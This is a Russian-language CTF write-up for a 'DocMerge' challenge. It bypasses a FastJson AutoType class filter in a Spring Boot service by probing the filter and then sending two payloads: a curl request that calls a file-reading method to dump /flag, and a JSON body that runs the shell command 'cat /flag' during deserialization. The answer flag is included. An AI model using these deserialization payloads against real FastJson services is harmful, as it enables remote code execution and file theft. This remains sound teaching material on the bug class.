3.8 KiB
DocMerge
DocMerge склеивает документы по JSON-шаблону. Сервис использует Java 17, Spring Boot и FastJson 1.2.83 с включённым AutoType. Самописный фильтр ограничивает классы, которые можно создать при десериализации. Ищем разрешённый плагин, способный прочитать /flag.
Решение
Запрашиваем /api/plugins. В реестре три интересных класса из com.docmerge.plugins: активные ScriptFilter и LegacyExecutorV2, а также отключённый LegacyExecutor.
Тело POST /api/merge проходит через JSON.parseObject(body, MergeJob.class, Feature.SupportAutoType). Ошибки фильтра возвращаются клиенту, поэтому отправляем три запроса вида {"@type":"<имя класса>"} и сравниваем ответы:
| Класс | Ответ фильтра | Вывод |
|---|---|---|
java.lang.Runtime |
exact denylist match |
Есть запрет по точному имени |
com.docmerge.plugins.NoSuchPlugin |
Пакет разрешён, класс не найден | Имя из пакета com.docmerge.plugins проходит фильтр |
java.io.File |
outside allowlist |
Чужие пакеты отсекаются |
Чтение через ScriptFilter
ScriptFilter вызывает через reflection публичный статический метод с аргументом String. Его список запретов закрывает Runtime и ProcessBuilder, но пропускает com.docmerge.util.PreviewUtil.readFile(String).
Создаём этот фильтр внутри задания:
curl -sS http://<host>:18112/api/merge \
-H 'Content-Type: application/json' \
--data '{
"title":"quarterly-report",
"documents":["doc one","doc two"],
"renderer":{"template":"default","filters":[
{"@type":"com.docmerge.plugins.ScriptFilter",
"className":"com.docmerge.util.PreviewUtil",
"methodName":"readFile",
"argument":"/flag"}
]}
}'
Класс разрешён, метод доступен. В поле render появляется filter output: с содержимым /flag.
Выполнение через LegacyExecutorV2
LegacyExecutorV2 наследует LegacyExecutor, но denylist сравнивает имена через equals. Имя наследника не совпадает с запретом, пакет при этом разрешён. Унаследованный setCommand выполняет shell-команду уже при десериализации:
{
"title":"t",
"renderer":{"filters":[
{"@type":"com.docmerge.plugins.LegacyExecutorV2","command":"cat /flag"}
]}
}
Этот запрос к тому же /api/merge возвращает флаг как legacy output. Оба пути используют доступные классы приложения. Фильтр разрешает классы пакета com.docmerge.plugins, блокируя лишь отдельные имена. ScriptFilter и LegacyExecutorV2 под эти запреты не попадают.
Солвер проверяет плагины и фильтр, затем пробует ScriptFilter, а при отсутствии флага переходит к LegacyExecutorV2.
Флаг
CAPLAG{4ut0typ3_d3s3r14l1z3_byp4ss}